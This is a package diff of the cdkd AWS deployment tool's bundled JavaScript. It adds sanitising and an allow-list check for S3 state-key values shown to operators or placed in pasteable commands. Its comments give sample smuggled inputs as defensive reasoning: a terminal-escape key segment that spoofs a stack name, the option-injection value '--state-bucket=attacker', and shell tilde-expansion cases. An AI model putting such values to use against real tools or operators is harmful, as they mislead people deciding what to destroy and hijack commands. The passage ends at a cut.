@go-to-k/cdkd 0.290.17 → 0.290.19

package/dist/{program-CbHndlOj.js → program-BOAEIjF5.js}

@@ -1,8 +1,8 @@
-import { $ as secretBearing, $n as BOOTSTRAP_MARKER_PREFIX, $r as getAwsClients, $t as s3BucketRegionalDomainName, A as extractDeploymentEventError, Ai as markNonRetryable, An as buildForceUnlockCommand, Ar as resolveAutoAssetStorage, At as parameterTypeMayLoseSecretIdentity, B as toCfnInteger, Bn as importableOutputs, Br as MIGRATE_TMP_PREFIX, Bt as configIntegerRefusal, C as buildFinalSnapshotIdentifier, Cn as recordMaskOnlyValue, Cr as AssetManifestLoader, Ct as IntrinsicFunctionResolver, D as refusesFinalSnapshot, Di as isRetryableTransientError, Dn as LockManager, Dr as getDefaultStateBucketName, Dt as getAccountInfo, E as isFinalSnapshotError, Ei as isMarkedNonRetryable, En as scrubResourceRecord, Er as synthesisStatusMessage, Et as coerceParameterTypedValue, F as isStatefulRecreateTargetSync, Fn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Fr as resolveUseCdkBootstrapAssets, Ft as resolveExplicitPhysicalId, G as gray, Gn as AssetPublisher, Gr as PARTITION_TABLE, Gt as requireConfigObject, H as formatResourceLine, Hn as orphansAfterRollback, Hr as uploadCfnTemplate, Ht as readConfigString, I as renderStatefulReason, In as DEFAULT_STATE_PREFIX, Ir as stateBucketExistenceConfirmed, It as assertRegionMatch, J as yellow, Jn as buildAssetRedirectMap, Jr as AssemblyReader, Jt as producerRegionsFromState, K as green, Kn as stringifyValue, Kr as canonicalizeRegion, Kt as requireConfigString, L as WARM_THROUGHPUT_MEMBERS, Ln as exportNamesCarriedFrom, Lr as warnDeprecatedNoPrefixCliFlag, Lt as coerceCfnBoolean, M as planOrphanAdoption, Mi as retryClassificationText, Mn as forceQuitRecoveryClause, Mr as resolveSkipPrefix, Mt as isSettledInstanceState, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Nn as formatLockExpiry, Nr as resolveStateBucketWithDefault, Nt as WAFv2WebACLProvider, O as unsupportedFinalSnapshotError, Oi as isThrottlingError, On as S3StateBackend, Or as getLegacyStateBucketName, Ot as isImpossibleEmptyStoredAttribute, P as isStatefulRecreateTargetForReplace, Pn as shellQuote, Pr as resolveStateBucketWithDefaultAndSource, Pt as normalizeAwsTagsToCfn, Q as isExportAliasCollision, Qn as AssetModeResolver, Qr as AwsClients, Qt as s3BucketDualStackDomainName, R as coerceWarmThroughput$1, Rn as hasReadableExportSet, Rr as CFN_TEMPLATE_BODY_LIMIT, Rt as coerceCfnInteger, S as PRE_DELETE_SNAPSHOT_TYPES, Sn as maskSecretsInText, Sr as stripControlChars, St as isTerminationProtectionPropagationError, T as createPreDeleteFinalSnapshot, Ti as withErrorHandling, Tn as redactSecretsForState, Tr as Synthesizer, Tt as cfnRefValueFromPhysicalId, U as bold, Un as orphansCarriedFrom, Ur as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, Ut as replayWarn, V as toFiniteNumber, Vn as isReadableBag, Vr as findLargeInlineResources, Vt as configStringRefusal, W as cyan, Wn as shouldRetainResource, Wr as expectedOwnerParam, Wt as requireConfigArray, X as collectPublishedOutputNames, Xn as loadPublishableAssetManifest, Xt as s3BucketArn, Y as collectDeclaredOutputNames, Yn as createAssetRedirectResolver, Yr as processStackMessages, Yt as withSharedDrainBudget, Z as exportAliasCollisionScrubWarning, Zn as rewriteTemplateAssetReferences, Zr as resolveBucketRegion, Zt as s3BucketDomainName, _ as isSecretBearingReferenceString, _i as ResourceUpdateNotSupportedError, _n as errorCauseChain, _r as partitionSensitiveEnv, _t as slowCcOperationTimeoutMs, a as DeploymentEventsStore, ai as CrossAccountSecretRefusalError, an as findSilentDropProperties, ar as readBootstrapMarkerBody, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bn as markSameGenerationBag, br as runDockerStreaming, bt as deleteSkipReason, c as replayFailedOperations, ci as DynamicReferenceRegionAmbiguousError, cn as DagBuilder, cr as buildDenyExternalAccessPolicy, ct as createMaskedRetryLogger, d as updatePartialReason, di as LocalStartServiceError, dn as STATE_SOURCED_CROSS_GENERATION_RULES, dr as describeDockerCapturedOutput, dt as beginCommandInterruptScope, ei as resetAwsClients, en as s3BucketWebsiteUrl, er as assertAssetBucketRegion, et as secretBearingStateKeyWarning, f as withResourceDeadline, fn as STATE_SOURCED_READBACK_RULES, fr as describeDockerExecFailure, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as ResourceTimeoutError, gn as dynamicReferenceTokens, gr as getDockerCmd, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as ProvisioningError, hn as createSecretMasker, hr as formatDockerLoginError, ht as startInterruptWatch, i as DeploymentEventsReader, in as findActionableSilentDrops, ir as parseBootstrapMarker, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, ji as markRedactedCause, jn as buildLockContentionMessage, jr as resolveCaptureObservedState, jt as refStateLookupFromResource, k as makeCanonicalizePropertiesFn, ki as isTransientServerError, kn as rebuildClientForBucketRegion, kr as resolveApp, kt as isUnboundTemplateParameter, l as replayRollback, li as IntrinsicResolutionRefusalError, ln as TemplateParser, lr as describeAwsFailure, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as PartialFailureError, mn as carriesSecretMask, mr as dockerSpawnEnvWithSensitive, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as DiffCalculator, nr as getBootstrapMarkerKey, nt as getCurrentResourceSecrets, o as planFailedOps, on as describeTypeWithThrottleRetry, or as validateAssetBucketName, ot as ProviderRegistry, p as maskingRetryLogger, pi as NestedStackChildDirectDestroyError, pn as TEMPLATE_SOURCED_RULES, pr as describeDockerFailure, pt as interruptWatchListenerCount, q as red, qn as WorkGraph, qr as derivePartitionAndUrlSuffix, qt as classifyReplaySecretRegion, r as DeployEngine, ri as CdkdError, rn as INTRINSIC_KEYS, rr as isCrossRegionRedirect, rt as IAMRoleProvider, s as planRollback, si as DeployCancelledError, sn as withRetry, sr as validateContainerRepoName, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as setAwsClients, tn as applyRoleArnIfSet, tr as ensureAssetStorage, tt as secretSafeKeyDisplay, u as updatePartialMessage, ui as LocalInvokeBuildError$1, un as STATE_SOURCED_BASELINE_RULES, ur as buildDockerImage, ut as maskerOrIdentity, v as keptWholeReasonText, vi as StackHasActiveImportsError, vn as identityKeyFor, vr as redactDockerArgvValues, vt as UNSPECIFIED_SKIP_REASON, w as ccRoutedFinalSnapshotError, wi as normalizeAwsError, wn as recoverMaskedOutput, wr as getDockerImageBySourceHash, wt as carriesDynamicReference, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as maskSecretsInError, xr as escapeRegExp, xt as disableInstanceApiTermination, y as mergeNoChangeOutputs, yi as StackTerminationProtectionError, yn as isSingleDynamicReferenceToken, yr as runDockerForeground, yt as deleteIndeterminateGuards, z as isWarmThroughputDecrease, zn as importableOutputKeys, zr as CFN_TEMPLATE_URL_LIMIT, zt as configBooleanRefusal } from "./deploy-engine-BYTwDxet.js";
+import { $ as secretBearing, $i as isRetryableTransientError, $n as S3StateBackend, $r as getLegacyStateBucketName, $t as s3BucketArn, A as extractDeploymentEventError, Ai as CrossAccountSecretRefusalError, An as findSilentDropProperties, Ar as readBootstrapMarkerBody, At as isImpossibleEmptyStoredAttribute, B as toCfnInteger, Bi as PartialFailureError, Bn as createSecretMasker, Br as formatDockerLoginError, Bt as coerceCfnBoolean, C as buildFinalSnapshotIdentifier, Ci as AwsClients, Cn as refuseMalformedOutputs, Cr as AssetModeResolver, Ct as isTerminationProtectionPropagationError, D as refusesFinalSnapshot, Dn as repairMalformedResourcePropertiesForReadOnly, Dr as getBootstrapMarkerKey, Dt as cfnRefValueFromPhysicalId, E as isFinalSnapshotError, Ei as setAwsClients, En as repairMalformedOutputsForReadOnly, Er as ensureAssetStorage, Et as carriesFetchableDynamicReference, F as isStatefulRecreateTargetSync, Fi as LocalInvokeBuildError$1, Fn as STATE_SOURCED_BASELINE_RULES, Fr as buildDockerImage, Ft as isSettledInstanceState, G as gray, Gi as StackTerminationProtectionError, Gn as markSameGenerationBag, Gr as runDockerStreaming, Gt as readConfigString, H as formatResourceLine, Hi as ResourceTimeoutError, Hn as errorCauseChain, Hr as partitionSensitiveEnv, Ht as configBooleanRefusal, I as renderStatefulReason, Ii as LocalStartServiceError, In as STATE_SOURCED_CROSS_GENERATION_RULES, Ir as describeDockerCapturedOutput, It as WAFv2WebACLProvider, J as yellow, Jn as recordMaskOnlyValue, Jr as AssetManifestLoader, Jt as requireConfigObject, K as green, Kn as maskSecretsInError, Kr as escapeRegExp, Kt as replayWarn, L as WARM_THROUGHPUT_MEMBERS, Ln as STATE_SOURCED_READBACK_RULES, Lr as describeDockerExecFailure, Lt as normalizeAwsTagsToCfn, M as planOrphanAdoption, Mi as DeployCancelledError, Mn as withRetry, Mr as validateContainerRepoName, Mt as isUnboundTemplateParameter, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Ni as DynamicReferenceRegionAmbiguousError, Nn as DagBuilder, Nr as buildDenyExternalAccessPolicy, Nt as parameterTypeMayLoseSecretIdentity, O as unsupportedFinalSnapshotError, Oi as CdkdError, On as repairMalformedResourcesForReadOnly, Or as isCrossRegionRedirect, Ot as coerceParameterTypedValue, P as isStatefulRecreateTargetForReplace, Pi as IntrinsicResolutionRefusalError, Pn as TemplateParser, Pr as describeAwsFailure, Pt as refStateLookupFromResource, Q as isExportAliasCollision, Qi as isMarkedNonRetryable, Qn as LockManager, Qr as getDefaultStateBucketName, Qt as withSharedDrainBudget, R as coerceWarmThroughput$1, Ri as MalformedProducerRecordRefusalError, Rn as TEMPLATE_SOURCED_RULES, Rr as describeDockerFailure, Rt as resolveExplicitPhysicalId, S as PRE_DELETE_SNAPSHOT_TYPES, Si as resolveBucketRegion, Sn as refuseMalformedNestedChildOutputs, Sr as rewriteTemplateAssetReferences, St as disableInstanceApiTermination, T as createPreDeleteFinalSnapshot, Ti as resetAwsClients, Tn as refuseMalformedState, Tr as assertAssetBucketRegion, Tt as carriesDynamicReference, U as bold, Ui as ResourceUpdateNotSupportedError, Un as identityKeyFor, Ur as redactDockerArgvValues, Ut as configIntegerRefusal, V as toFiniteNumber, Vi as ProvisioningError, Vn as dynamicReferenceTokens, Vr as getDockerCmd, Vt as coerceCfnInteger, W as cyan, Wi as StackHasActiveImportsError, Wn as isSingleDynamicReferenceToken, Wr as runDockerForeground, Wt as configStringRefusal, X as collectPublishedOutputNames, Xi as normalizeAwsError, Xn as redactSecretsForState, Xr as Synthesizer, Xt as classifyReplaySecretRegion, Y as collectDeclaredOutputNames, Yn as recoverMaskedOutput, Yr as getDockerImageBySourceHash, Yt as requireConfigString, Z as exportAliasCollisionScrubWarning, Zi as withErrorHandling, Zn as scrubResourceRecord, Zr as synthesisStatusMessage, Zt as producerRegionsFromState, _ as isSecretBearingReferenceString, _i as canonicalizeRegion, _n as malformedRenderedContainersWarning, _r as stringifyValue, _t as isWaitAbandonedError, a as DeploymentEventsStore, ai as resolveStateBucketWithDefaultAndSource, an as applyCallerIdentityCredentials, ar as shellQuote, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bi as processStackMessages, bn as malformedStateRefusalMessage, br as createAssetRedirectResolver, bt as deleteIndeterminateGuards, c as replayFailedOperations, ci as warnDeprecatedNoPrefixCliFlag, cn as INTRINSIC_KEYS, cr as exportNamesCarriedFrom, ct as createMaskedRetryLogger, d as updatePartialReason, di as MIGRATE_TMP_PREFIX, dn as hasReadableResources, dr as importableOutputs, dt as beginCommandInterruptScope, ea as isThrottlingError, ei as resolveApp, en as s3BucketDomainName, er as rebuildClientForBucketRegion, et as secretBearingStateKeyWarning, f as withResourceDeadline, fi as findLargeInlineResources, fn as malformedExportNamesWarning, fr as isReadableBag, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as PARTITION_TABLE, gn as malformedOutputsWarning, gr as AssetPublisher, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as expectedOwnerParam, hn as malformedOutputsRefusalMessage, hr as shouldRetainResource, ht as startInterruptWatch, i as DeploymentEventsReader, ia as retryClassificationText, ii as resolveStateBucketWithDefault, in as applyRoleArnIfSet, ir as formatLockExpiry, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, jn as describeTypeWithThrottleRetry, jr as validateAssetBucketName, jt as isNamelessDynamicReferenceError, k as makeCanonicalizePropertiesFn, kn as findActionableSilentDrops, kr as parseBootstrapMarker, kt as getAccountInfo, l as replayRollback, li as CFN_TEMPLATE_BODY_LIMIT, ln as STATE_RESOURCES_MALFORMED, lr as hasReadableExportSet, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, mn as malformedLocalOutputsWarning, mr as orphansCarriedFrom, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, na as markNonRetryable, ni as resolveCaptureObservedState, nn as s3BucketRegionalDomainName, nr as buildLockContentionMessage, nt as getCurrentResourceSecrets, o as planFailedOps, oi as resolveUseCdkBootstrapAssets, on as callerEnvCredentials, or as CUSTOM_RESOURCE_RESPONSE_PREFIX, ot as ProviderRegistry, p as maskingRetryLogger, pi as uploadCfnTemplate, pn as malformedExportSourceWarning, pr as orphansAfterRollback, pt as interruptWatchListenerCount, q as red, qn as maskSecretsInText, qr as stripControlChars, qt as requireConfigArray, r as DeployEngine, ra as markRedactedCause, ri as resolveSkipPrefix, rn as s3BucketWebsiteUrl, rr as forceQuitRecoveryClause, rt as IAMRoleProvider, s as planRollback, si as stateBucketExistenceConfirmed, sn as DiffCalculator, sr as DEFAULT_STATE_PREFIX, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ta as isTransientServerError, ti as resolveAutoAssetStorage, tn as s3BucketDualStackDomainName, tr as buildForceUnlockCommand, tt as secretSafeKeyDisplay, u as updatePartialMessage, ui as CFN_TEMPLATE_URL_LIMIT, un as hasReadableOutputs, ur as importableOutputKeys, ut as maskerOrIdentity, v as keptWholeReasonText, vi as derivePartitionAndUrlSuffix, vn as malformedResourcePropertiesWarning, vr as WorkGraph, vt as slowCcOperationTimeoutMs, w as ccRoutedFinalSnapshotError, wi as getAwsClients, wn as refuseMalformedOutputsForDestroy, wr as BOOTSTRAP_MARKER_PREFIX, wt as IntrinsicFunctionResolver, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as producerRecordKey, xr as loadPublishableAssetManifest, xt as deleteSkipReason, y as mergeNoChangeOutputs, yi as AssemblyReader, yn as malformedResourcesWarning, yr as buildAssetRedirectMap, yt as UNSPECIFIED_SKIP_REASON, z as isWarmThroughputDecrease, zi as NestedStackChildDirectDestroyError, zn as carriesSecretMask, zr as dockerSpawnEnvWithSensitive, zt as assertRegionMatch } from "./deploy-engine-D7mwWwGs.js";
 import { C as displaySafe, S as displayIdent, _ as withSkipPrefix, b as STACK_REF_MAX_CODE_POINTS, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE } from "./logger-C17H06QA.js";
-import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
-import { t as getCdkdVersion } from "./version-CT2xso6V.js";
-import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-BPBdAAGQ.js";
+import { n as awsClientDefaults } from "./aws-client-defaults-BoIxyCir.js";
+import { t as getCdkdVersion } from "./version-BOnyvRN8.js";
+import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-ac412LEP.js";
 import { AsyncLocalStorage } from "node:async_hooks";
 import { createHash, randomBytes, randomUUID } from "node:crypto";
 import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -100,8 +100,10 @@ const STATE_FILE_SUFFIX = "/state.json";
 * The twin of `S3StateBackend`'s `LEGACY_KEY_DEPTH`, which counts the
 * `state.json` segment as well; this one counts what remains after the prefix
 * and the suffix are stripped, so it is that value minus one. Fenced against it
-* by a unit test rather than imported, because a value import from
-* `s3-state-backend.js` breaks the suites that mock that module.
+* by a unit test rather than imported: a value import from `s3-state-backend.js`
+* breaks every suite that mocks that module. That is the reason, and it is
+* specific to THAT module — this file does import values from `display-safe.js`,
+* which is a leaf with no imports of its own.
 */
 const LEGACY_SEGMENTS_UNDER_PREFIX = 1;
 /**
@@ -172,9 +174,19 @@ async function listAllLockKeys(stateBackend) {
 	return (await stateBackend.listRawKeys("")).filter((k) => k.endsWith(LOCK_FILE_SUFFIX));
 }
 /**
-* `{prefix}/{stack}/{region}/state.json` → `stack (region)`; legacy
-* `{prefix}/{stack}/state.json` → `stack`. Pass {@link LOCK_FILE_SUFFIX} to
-* describe lock keys.
+* Split `{prefix}/{stack}/{region}/state.json` into its parts; legacy
+* `{prefix}/{stack}/state.json` yields a `region`-less result. Pass
+* {@link LOCK_FILE_SUFFIX} to parse lock keys.
+*
+* STRUCTURAL, so a caller that needs the halves never has to re-parse a
+* RENDERED string. `gc.ts` did exactly that — it ran `/^(\S+) \((\S+)\)$/` over
+* `describeStateKey`'s own output to build a `cdkd state show ...` command —
+* and that re-parse was already fragile before this change (`\S` excludes
+* `\r`, so a planted carriage return silently took the no-match branch and put
+* the WHOLE rendered string in the command's stack-name position). Sanitising
+* the rendered form would have broken the re-parse outright; returning the
+* parts removes the question. Issue
+* [#3179](https://github.com/go-to-k/cdkd/issues/3179) section C.
 *
 * The shape heuristic below cannot be made exact, and it errs in BOTH
 * directions -- a region it fails to recognise is reported AS the stack name,
@@ -205,18 +217,124 @@ async function listAllLockKeys(stateBackend) {
 * `MyStack`. Depth cannot tell that apart from a real `{stack}/{region}`; only
 * the shape of the tail can, so the heuristic keeps that case.
 */
-function describeStateKey(key, suffix = STATE_FILE_SUFFIX, knownPrefix) {
+function parseStateKey(key, suffix = STATE_FILE_SUFFIX, knownPrefix) {
 	const body = key.slice(0, -suffix.length);
 	const prefix = knownPrefix?.replace(/\/+$/, "");
 	if (prefix !== void 0 && prefix !== "" && key.startsWith(`${prefix}/`)) {
 		const rest = body.slice(prefix.length + 1).split("/");
-		if (rest.length === LEGACY_SEGMENTS_UNDER_PREFIX && rest[0]) return rest[0];
+		if (rest.length === LEGACY_SEGMENTS_UNDER_PREFIX && rest[0]) return { stack: rest[0] };
 	}
 	const segments = body.split("/");
 	const last = segments[segments.length - 1] ?? key;
 	const secondLast = segments[segments.length - 2];
-	if (secondLast !== void 0 && secondLast !== "" && REGION_SEGMENT.test(last)) return `${secondLast} (${last})`;
-	return last;
+	if (secondLast !== void 0 && secondLast !== "" && REGION_SEGMENT.test(last)) return {
+		stack: secondLast,
+		region: last
+	};
+	return { stack: last };
+}
+/**
+* `{prefix}/{stack}/{region}/state.json` → `stack (region)`; legacy
+* `{prefix}/{stack}/state.json` → `stack`. Pass {@link LOCK_FILE_SUFFIX} to
+* describe lock keys.
+*
+* The split is {@link parseStateKey}'s; this renders it for a HUMAN, through
+* `displayIdent`, which is the whole of what changed for issue
+* [#3179](https://github.com/go-to-k/cdkd/issues/3179) section C. Both halves
+* come out of an S3 KEY, and a state-bucket key is not cdkd's to trust: anyone
+* holding `s3:PutObject` on the bucket chooses it, the same premise
+* go-to-k/cdkd#3207 rests on for the record BODY. Every reader of this string
+* puts it in front of an operator who is deciding whether to destroy something,
+* so an unbounded, unsanitised value is read as cdkd's own words.
+*
+* Measured on this tree before the change, with `cdkd/` as the known prefix:
+* a key segment `Prod<ESC>[2K<CR>SafeStack` rendered as itself, and a terminal
+* ERASES the line and shows `SafeStack (us-east-1)` — a different stack than
+* the record names. `displayIdent` sanitises to ASCII, caps the length, and
+* quotes anything outside the plain-identifier set, so that segment now renders
+* visibly quoted and visibly altered.
+*
+* The stack half takes `STACK_REF_MAX_CODE_POINTS` rather than the default cap,
+* matching `state.ts`'s `formatStackRefSafe`: a cdkd state-record stack name is
+* NOT bounded by CloudFormation's 128, because a nested-stack child's name is
+* minted recursively as `${parent}~${logicalId}`.
+*
+* What this does NOT make safe is a value INTERPOLATED INTO A COMMAND — see
+* {@link isPasteableIdent}, which exists because `displayIdent` correctly
+* renders `--state-bucket=attacker` bare (every character of it is a plain
+* identifier character) while that value is a flag, not a name.
+*/
+function describeStateKey(key, suffix = STATE_FILE_SUFFIX, knownPrefix) {
+	const { stack, region } = parseStateKey(key, suffix, knownPrefix);
+	const name = displayIdent(stack, { maxCodePoints: STACK_REF_MAX_CODE_POINTS });
+	return region === void 0 ? name : `${name} (${displayIdent(region)})`;
+}
+/**
+* The shape a state-key segment must have before it may be interpolated into a
+* command cdkd invites an operator to PASTE.
+*
+* An ALLOW-LIST, and deliberately so: the first cut of this predicate was a
+* deny-list that refused a leading `-`, and review defeated it with a leading
+* `~`. A deny-list has to enumerate every character a shell treats specially
+* BEFORE cdkd sees the word, and the set of things nobody thought of is
+* unbounded. The repo already settled this once — `rollback-executor.ts`'s
+* `PASTEABLE_LOGICAL_ID` is `/^[A-Za-z0-9]{1,255}$/`, with a comment naming
+* `~user` and `=x` by name.
+*
+* This one is wider than that because the values here are not logical ids: a
+* cdkd state record's stack name carries `~` (a nested-stack child is minted
+* `${parent}~${logicalId}`) and a region carries `-`. What it keeps from the
+* precedent is the LEADING character, which is where the danger is. MEASURED
+* in bash on a real host rather than reasoned:
+*
+*     ~root        -> /var/root        ~/x  -> $HOME/x       ~-  -> $OLDPWD
+*     a=~/x        -> a=$HOME/x
+*     Parent~Child -> inert            a:~/x -> inert
+*
+* So `~` is dangerous only in the leading position or straight after `=`,
+* which is why a medial `~` stays in the set and `=` stays out of it entirely.
+* A leading digit or letter also closes the option case: `--state-bucket=x`
+* cannot match, and that one is NOT about shell quoting — it is still an
+* OPTION after quoting, which is why the answer is refusal rather than quoting.
+*/
+const PASTEABLE_STATE_IDENT = /^[A-Za-z0-9][A-Za-z0-9~_.-]*$/;
+/**
+* The cap for rendering a whole state or lock KEY, as opposed to one segment.
+*
+* A key CONTAINS a stack name, so capping it at `STACK_REF_MAX_CODE_POINTS`
+* cuts a legitimate one: the fixed segments around the name — `{prefix}/`,
+* `/{region}/` and `state.json` / `lock.json` — are not free. The extra 64
+* covers them with roughly 37 characters left for the prefix — measured, not
+* generous: at a full-budget stack name a longer `--state-prefix` still
+* overflows, and the cost of that is cosmetic. It matters because a key renders
+* `[cut: N more characters withheld]` is at its least useful inside the very
+* sentence that tells an operator to go and inspect THAT key.
+*
+* Same status as the constant it builds on, and stated for the same reason: a
+* BUDGET, not an enforced bound. Nothing in `src/` validates key length.
+*/
+const STATE_KEY_MAX_CODE_POINTS = STACK_REF_MAX_CODE_POINTS + 64;
+/**
+* Is this value safe to interpolate into a command we tell an operator to RUN?
+*
+* Two independent tests, and BOTH are load-bearing:
+*
+* 1. {@link PASTEABLE_STATE_IDENT}, which decides the shell question — see its
+*    own note for why it is an allow-list and what was measured.
+* 2. It renders byte-identically through `displayIdent`, which adds the LENGTH
+*    cap and the ASCII rule the regex does not carry, asked through the public
+*    API rather than by re-spelling `PLAIN_IDENT` (a second spelling of a
+*    security predicate is how the two drift).
+*
+* Deliberately NOT shell-quoting instead. Quoting answers test 2's population
+* and none of the option case — `'--state-bucket=attacker'` is still parsed as
+* a flag — and a command that LOOKS runnable is the thing being handed over, so
+* the honest answer for a value failing either test is to print the S3 key and
+* let the operator decide.
+*/
+function isPasteableIdent(value) {
+	if (!PASTEABLE_STATE_IDENT.test(value)) return false;
+	return displayIdent(value, { maxCodePoints: STACK_REF_MAX_CODE_POINTS }) === value;
 }
 
 //#endregion
@@ -246,7 +364,7 @@ function parseContextOptions(contextArgs) {
 const commonOptions = [
 	new Option("--verbose", "Enable verbose logging").default(false),
 	new Option("--profile <profile>", "AWS profile"),
-	new Option("--role-arn <arn>", "IAM role ARN to assume for AWS API calls (env: CDKD_ROLE_ARN); the role needs the actions for the resource types you deploy plus the bookkeeping actions cdkd itself issues, because cdkd makes raw service API calls and does not route through CloudFormation, so CDK CLI deploy-roles will NOT work. Do not combine with --profile: the SDK then ignores the assumed role"),
+	new Option("--role-arn <arn>", "IAM role ARN to assume for AWS API calls (env: CDKD_ROLE_ARN); the role needs the actions for the resource types you deploy plus the bookkeeping actions cdkd itself issues, because cdkd makes raw service API calls and does not route through CloudFormation, so CDK CLI deploy-roles will NOT work. Combines with --profile: the profile supplies the base credentials the role is assumed FROM, and the role is what every later AWS call runs as"),
 	new Option("-y, --yes", "Automatically answer interactive prompts with the recommended response (e.g. confirm destroy)").default(false)
 ];
 /**
@@ -1689,10 +1807,10 @@ async function bootstrapDestroyCommand(options) {
 		if (options.includeStateBucket) {
 			const stateKeys = await listAllStateKeys(stateBackend);
 			if (stateKeys.length > 0) {
-				const listing = stateKeys.map((k) => `  - ${describeStateKey(k, STATE_FILE_SUFFIX, DEFAULT_STATE_PREFIX)}  [${k}]`).join("\n");
+				const listing = stateKeys.map((k) => `  - ${describeStateKey(k, STATE_FILE_SUFFIX, DEFAULT_STATE_PREFIX)}  [${displayIdent(k, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })}]`).join("\n");
 				throw new CdkdError(`Refusing to delete state bucket '${bucketName}': ${stateKeys.length} stack(s) still have state in it:\n${listing}\nDestroy every stack ('cdkd destroy' / 'cdkd state destroy') before deleting the state bucket.`, "STATE_BUCKET_NOT_EMPTY");
 			}
-			if (markerSiblings.otherRegions.length > 0) throw new CdkdError(`Refusing to delete state bucket '${bucketName}': region(s) ${markerSiblings.otherRegions.join(", ")} are still opted in to cdkd asset storage (their bootstrap markers live in this bucket). Run 'cdkd bootstrap --destroy --region <r>' for each first.`, "STATE_BUCKET_HOLDS_MARKERS");
+			if (markerSiblings.otherRegions.length > 0) throw new CdkdError(`Refusing to delete state bucket '${bucketName}': region(s) ${markerSiblings.otherRegions.map((r) => displayIdent(r)).join(", ")} are still opted in to cdkd asset storage (their bootstrap markers live in this bucket). Run 'cdkd bootstrap --destroy --region <r>' for each first.`, "STATE_BUCKET_HOLDS_MARKERS");
 			if (markerSiblings.sameRegionKeys.length > 0) {
 				const canonicalStillPresent = markerBody !== null && resolvedMarkerKey === markerKey;
 				const listing = markerSiblings.sameRegionKeys.map((k) => canonicalStillPresent ? `  - ${k}` : `  - ${k}  (cdkd bootstrap --destroy --region ${markerRegionOfKey(k)})`).join("\n");
@@ -3463,420 +3581,6 @@ function recordRunFailed(recorder, stackName, error) {
 	});
 }
 
-//#endregion
-//#region src/state/malformed-resources-bag.ts
-/** The error code every malformed-record refusal carries, whatever its class. */
-const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
-/**
-* Answer the ONE question both helpers below key on: can this record's
-* resource map be read at all?
-*
-* Widened past `null` / `undefined` because the message says "no readable
-* resources map" and a hand-edited record does not stop at those two: a
-* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
-* empty or, for the string, absurd — repaired silently and warned about
-* nowhere. The predicate is the plain-object test the bag's own type implies.
-*/
-function hasReadableResources(state) {
-	return isReadableBag(state.resources);
-}
-/**
-* The same question for the `outputs` bag — and it is a SEPARATE predicate
-* rather than a second argument to the one above because the ABSENCE rule
-* differs, which is the split {@link isReadableBag}'s own note calls a
-* per-container call.
-*
-* An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
-* round-trips one deliberately rather than materializing `{}` over it, and the
